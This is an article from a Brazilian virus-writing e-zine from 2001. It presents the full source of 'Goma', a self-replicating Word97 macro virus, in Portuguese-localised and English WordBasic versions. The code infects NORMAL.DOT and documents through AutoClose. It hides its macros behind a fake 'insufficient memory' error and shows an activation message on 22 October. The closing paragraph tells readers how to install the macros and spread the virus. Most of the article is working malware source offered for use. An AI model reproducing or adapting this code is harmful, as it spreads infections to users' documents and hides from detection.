Virus Brasil nº8:(dmw_goma.txt):20/02/2001 << Back To Virus Brasil nº 8
─────────────────────────────────────────────────────────────────────────── / __ ___ | / | |__) | | (__ |/ | | \ |___| ___) ─────────────────────────────────────────────────────────────────────────── ─────────────────────────────────────────────── 3 - Macro.Word.Goma por nim_bus@hotmail.com ─────────────────────────────────────────────── Arrumei um tempinho e voltar a codar exemplos eh muito bom, esses dias cheguei a conclusao que para se fazer um virus dos bons voce pre- cisa de muito trabalho e dedicacao, eu escrevo esse zine a um tempinho ja',mas de maneira alguma me considero um bom virii maker, o que apre- sento no zine sao exemplos do que pode ser feito todo o resto eh por sua conta, lembre-se que sua imaginacao eh o limite. Se voce eh leitor do zine ja deve ter visto alguns virus de ma- cro por ai, tem ate um tutorial excelente do LeBeau em alguma edicao passada, com instrucoes comentadas exemplos de macros e os caraio a 4. Nao vou me aprofundar no assunto, pois a linguagem eh muito facil e caso encontre alguma duvida na sintaxe, sugiro utilizar o help do proprio word que lhe auxiliara bastante , ou de boa lida no tutorial que ja foi publicado outrora. O virus abaixo eh um virus de macro para o Word97, em portugues vou pensar se coloco a versao em ingles tambem, rola uma falta de tem- po, voce ta ligado !!! Mas voce deve estar se perguntando, caraco, jah tem o Word2000 e esse japoneis falando em Word97. Calma filho, tudo desde o comeco, es- queceu-se do nosso proposito ???? Esperamos que voce aprenda, nao que copie e cole e saia por ai dizendo que faz virus... A sintaxe dos comandos esta em portugues para o word em ingles, alteracoes sao necessarias... O virus contem apenas 3 macros , uma de copia, uma de seguranca para o virus nao ser detectado facilmente e outra de ativacao,a de co- pia eh bem comum e aqui utilizarei a "AutoClose", poderia usar a "AutoOpen" ou qualquer outra automatica. A macro de seguranca desabi- lita a abertura das macros para que o usuario veja ou altere, sugeri- ndo uma mensagem de falta de memoria . Jah a mensagem de ativacao por sua vez, coloca uma mensagem de texto na tela do windows, dizendo que estamos aqui. Sem maiores comentarios ... ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── REM ************************** MACRO.WORD.GOMA ****************************** REM Nome do virus: Goma.Word.Macro REM Autor : nim_bus@hotmail.com REM Home Page : http://virusbrasil.8m.com REM Tipo : Macro virus REM Linguagem : WordBasic -> VBA REM Ativacao : mensagem dia 22.10 REM Bug's : deve ter entao favor entrar em contato caso voce detecte REM algum ... REM Works only under Word97 portuguese version REM REM ********************** Macro AutoClose ************************* Sub MAIN On Error Goto Fim 'Conta os macros do NORMAL.DOT totMacro = ContarMacros(0) infectado = 0 ' Verifica se NORMAL.DOT ja esta infectado If totMacro > 0 Then For i = 1 To totMacro If NomeMacro$(i, 0) = "AutoClose" Then infectado = 32 End If Next End If sDoc$ = NomeJanela$() + ":AutoClose" 'infectar NORMAL.DOT sMac$ = NomeJanela$() + ":FerramMacro" sFud$ = NomeJanela$() + ":GOMA" If infectado <> 32 Then MacroCopiar sDoc$, "Global:AutoClose" MacroCopiar sFud$, "Global:GOMA" MacroCopiar sMac$, "Global:FerramMacro" Else infectado = 0 'verifica se documento jß estava infectado If ContarMacros(1) <> 0 Then infectado = 32 End If 'documento nπo estava infectado, 'infecta-o copiando-o como .DOT If infectado = 0 Then ArquivoSalvarComo .Formato = 1 MacroCopiar "Global:AutoClose", sDoc$ MacroCopiar "Global:GOMA", sFud$ MacroCopiar "Global:FerramMacro", sMac$ End If End If Fim: Call GOMA End Sub REM ******************** Macro FerramMacro ************************* Sub MAIN' Desabilitar Opcao de Visualizar, Editar e Gravar Macros Beep 'Um bip ja que deu erro MsgBox "Memoria insuficiente para executar essa operaτπo ", "Microsoft Word 7.0", 48 End Sub REM *********************** Macro Goma ***************************** Sub MAIN' Rotina de Ativaτπo do vφrus mes_at = MΩs(Agora())' Pega data do sistema - Mes dia_at = Dia(Agora())' Dia If mes_at = 10 And dia_at = 22 Then' ╔ o dia 22 de Outubro MsgBox "Goma Word 7.0 Macro Virus", "[TDG'2000]", 48' Manda bala e avisa ' que estamos aqui ! End If' Se nao for hoje, deixa quieto ... End Sub REM ************************** MACRO.WORD.GOMA ****************************** Beleza, atendendo a pedidos, segue abaixo o virus para o WORD97 em ingles... Sem a macro de Seguranca para o virus, entao apenas duas macros nessa versao. ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── REM ************************** MACRO.WORD.GOMA ****************************** REM Nome do virus: Goma.Word.Macro REM Autor : nim_bus@hotmail.com REM Home Page : http://virusbrasil.8m.com REM Tipo : Macro virus REM Linguagem : WordBasic -> VBA REM Ativacao : mensagem dia 22.10 REM Bug's : deve ter entao favor entrar em contato caso voce detecte REM algum ... REM Works only under Word97 english version REM REM ********************** Macro AutoClose ************************* Sub MAIN On Error Goto Fim REM GOMA MACRO WORD 97 VIRUS por nim_bus@hotmail.com REM http://virusbrasil.8m.com 'Conta os macros do NORMAL.DOT totMacro = CountMacros(0) infectado = 0 ' Verifica se NORMAL.DOT ja esta infectado If totMacro > 0 Then For i = 1 To totMacro If MacroName$(i, 0) = "AutoClose" Then infectado = 32 End If Next End If sDoc$ = WindowName$() + ":AutoClose" 'infectar NORMAL.DOT sFud$ = WindowName$() + ":GOMA" If infectado <> 32 Then MacroCopy sDoc$, "Global:AutoClose" MacroCopy sFud$, "Global:GOMA" Else infectado = 0 'verifica se documento jß estava infectado If CountMacros(1) <> 0 Then infectado = 32 End If 'documento nπo estava infectado, 'infecta-o copiando-o como .DOT If infectado = 0 Then FileSaveAs .Format = 1 MacroCopy "Global:AutoClose", sDoc$ MacroCopy "Global:GOMA", sFud$ End If End If Fim: Call GOMA End Sub REM *********************** Macro Goma ***************************** Sub MAIN' Rotina de Ativaτπo do vφrus mes_at = Month(Now())' Pega data do sistema - Mes dia_at = Day(Now())' Dia If mes_at = 10 And dia_at = 22 Then' ╔ o dia 22 de Outubro MsgBox "Goma Word 97 Macro Virus", "[TDG'2000]", 48' Manda bala e avisa ' que estamos aqui ! End If' Se nao for hoje, deixa quieto ... End Sub REM ************************** MACRO.WORD.GOMA ****************************** O virus ta ai, tanto em portuga como em ingles, agora eh com vo- ce soh falta abrir o Word entrar em macro, gravar macros, criar a "AutoClose" e colocar ela lah, criar a "FerramMacro" e a GOMA, ai meu amigo, salvou o documento e eh soh sair pro abraco... Duvidas em relacao ao codigo, ao algoritmo ou qualquer coisa, de um toque, mande um e-mail ... Fico por aqui, nim_bus@hotmail.com ──────────────────────────────────────────────────────────────────────────── Copyright ╕ 2001, Vírus Brasil ⌐ ────────────────────────────────────────────────────────────────────────────